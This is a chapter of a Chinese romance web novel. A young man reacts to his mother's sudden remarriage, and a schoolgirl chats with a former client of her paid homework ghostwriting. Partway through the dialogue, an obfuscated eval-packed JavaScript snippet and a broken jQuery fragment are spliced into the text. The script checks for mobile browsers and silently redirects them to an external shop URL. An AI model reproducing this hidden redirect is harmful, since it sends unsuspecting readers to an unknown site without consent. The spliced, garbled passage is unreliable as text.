谢垣的第一反应是不相信。
若是说他妈妈又换了男友,他肯定相信。她一直不愿再次进入婚姻,就是担心自己在婚后如果遇到更喜欢的人,移情别恋,会显得她不太负责。
所以,一直秉持着这样观点的母亲怎么会突然想要结婚。
谢垣突然记起,他妈妈确实对他说过,她有结婚打算,但是他没有将她的话放在心上。
结婚对象是那个小网红?
他记不得那个人的名字,也记不清那个人长什么样子,只记得二十来岁,高高瘦瘦。
现在很多男网红都是高高瘦瘦。
谢父不屑:“她和谁结婚不好,和一个在网络上出卖色相的男网红结婚。他们这类人骗钱最有一套,依我看,你妈是年龄上来了,脑子糊涂了。”
谢垣下意识维护:“我妈结婚肯定经过了深思熟虑,网红怎么了?只要她喜欢不就行了。”
“谢垣,你心里清楚,这不是喜不喜欢的问题。”谢父声音变得严厉。
他主要担心的是被骗钱。谢垣很重亲情,万一他妈妈的钱被骗光了,来祸害谢垣怎么办?
谢父说:“你得当面好好和你妈妈聊聊,劝她及时止损。这婚结了就结了,但平时得警醒点,不要被人骗得人财两空。你妈现在已经偏向那边,不然结婚这么大的事,她不会亲口通知你?肯定是不想你阻止。”
“你领证的时候也没通知我。”谢垣冷笑,“爸,你不是不想我和我妈多接触?我和她当面聊,你不会生气?”
“现在情况不一样。再说,你能憋得住不去问你妈?”
谢垣心里想,聊了又能怎样?她会立马离婚?那是她的人生,她怎么可能听他这个儿子的。
但好歹,提前通知他一声不行吗?
谢垣的手放在衣兜里,摩挲着那个玩偶。他的父母离婚的时候没有通知他,也没有询问他愿意跟着谁。现在再婚也是扯了证之后再通知他,这两个人都是这样。
等情绪平复后,他给他妈妈打电话,学起李祝宜之前的有些茶里茶气的示弱语气:“喂,妈。我打算来你这儿住几天。如果不方便的话就算了,毕竟你现在不是单身得考虑另一半的感受。你的家现在也不算是我的家……我可以来?那我明天就过来怎么样?继父不会不高兴吧?那一言为定。”
李祝宜不知道谢垣母亲再婚的事情,没有人告诉她。她将捡起来的珠子放在一个小的密封袋里装好,等在网上买的玉线到之后,自己串。
她开始做寒假作业,写完4页后,她发了会儿呆。
这时,手机震动一声,微信上一个很久没有联系的人给她发消息。
纯好人:你现在还接代写作业吗?
李祝宜:现在不接了。
这个人是前年暑假加的她。她刚通过好友申请,这个人就问她接不接假期作业代写,起初李祝宜以为是骗子,他却说他是贺柯介绍过来的。
李祝宜问了贺柯,证实后,就开始了帮人代写假期作业的工作。
当李祝宜收到他寄来的快递时才知道这个人是英雅高中的学生。她和对方是同一届。
他寄来了很多英雅高中的内部试卷和练习册。
这算是李祝宜赚到了。贺柯说这人是富二代,让她把价格往高了报。所以李祝宜报的价格不低。
她既赚到钱,还能刷顶尖高中的题,赚翻了。
两个人最近的聊天记录是在暑假时。
李祝宜说她将转学至深蓝市英雅高中,对方先是恭喜她,然后说了一长串。
大概意思是认识这么久了,两个人称得上是朋友,他本应该告知真名,约李祝宜在英雅高中线下见一面,但是他实在不想让别人知道他找人代写作业的事情,所以很抱歉不能告知真实信息且不能线下见面。
不过,两个人一定会在英雅高中遇见。
只不过他认识她,她不认识他。
李祝宜现在都不清楚她有没有在英雅高中遇到这个人。
李祝宜现在不接代写主要是因为,英雅高中普通部同一年级布置的作业有区别也有重合的部分,她没必要花时间写同样的题。
纯好人:你不接代写是因为你现在的经济状况好转了吗?
李祝宜:有这个原因。
纯好人:那值得恭喜你一下。
李祝宜:谢谢。
她想了想问:你有在学校见过我吗?
纯好人:当然有哇。我有想过要不要主动同你打招呼,但是我长得不好看,奇丑无比,有碍观瞻,我怕你会被我的脸吓一跳。你不知道我有多希望能长一张许大校草的脸,体验每天照镜子能把自己帅死的感觉。
李祝宜:哪有这么夸张?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618076|202325||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
纯好人:你是说我夸大了许则屿的颜值?
李祝宜:那倒没有。我的意思是我不会被你吓一跳。
她觉得这个人是在胡扯,因为她没有听说过高二年级有奇丑无比的人。
闲扯了几句后,李祝宜将手机倒扣在桌面上。
有人在敲门,李祝宜听这敲门的声音,就知道是谢垣。
一开门,果然是他。
他右臂上抱了一条灰色的毯子。
“有事?”李祝宜问。
谢垣回答:“闲得无聊。”
他径直走进来,直接在李祝宜床前天蓝色的地毯上直挺挺地躺着,顺手将李祝宜的大白鹅玩偶搂在怀里抱着,再给自己盖上灰毯。
这是吃错药了?
李祝宜光脚踩上地毯,踢了谢垣的小腿一脚:“哥哥,你这是什么意思?”
谢垣小腿隐隐作痛,但没有像以往那样发脾气,他一动不动:“不明显吗?躺着。”
“你躺这干什么?”
谢垣皱眉:“你的沙发太小了,我躺不下。我总不能躺你床上。李祝宜,男女授受不亲,我是一个很有原则的人。”
李祝宜完全不能理解谢垣的行为:“你可以回你房间躺,去游戏室影音室躺,也可以去你经常去的阁楼,你却来我房间地上躺?你是想冻感冒了碰瓷我?”
除此之外,李祝宜想不出别的理由。
谢垣反问:“你是不是有被害妄想症?”
“我是想防患于未然。”
谢垣干脆利落地给李祝宜转了2000,道:“现在可以让我躺了吧。”
李祝宜点接收,还是不能理解他这莫名其妙的行为。
看在钱的份上,李祝宜不管他,来到书案前继续写作业。
谢垣翻身,侧躺着,面向李祝宜的背影,屋内空调暖气温度不高,李祝宜穿着一件鹅黄色的毛衣,头发被随意挽着,脖颈处有少许短碎发。
他也不明白自己为什么要来这躺着,大概是心情不好发疯吧。
李祝宜考虑到谢垣躺在地上,将空调温度调高。
谢垣听见了空调响应的声音,安静地眨了一下眼睛。
窗外风声呼啸,谢垣将毛毯拉过头顶,遮挡住自己的神情。好像有点不对劲儿。她不就是将温度调高了一点,他在高兴什么?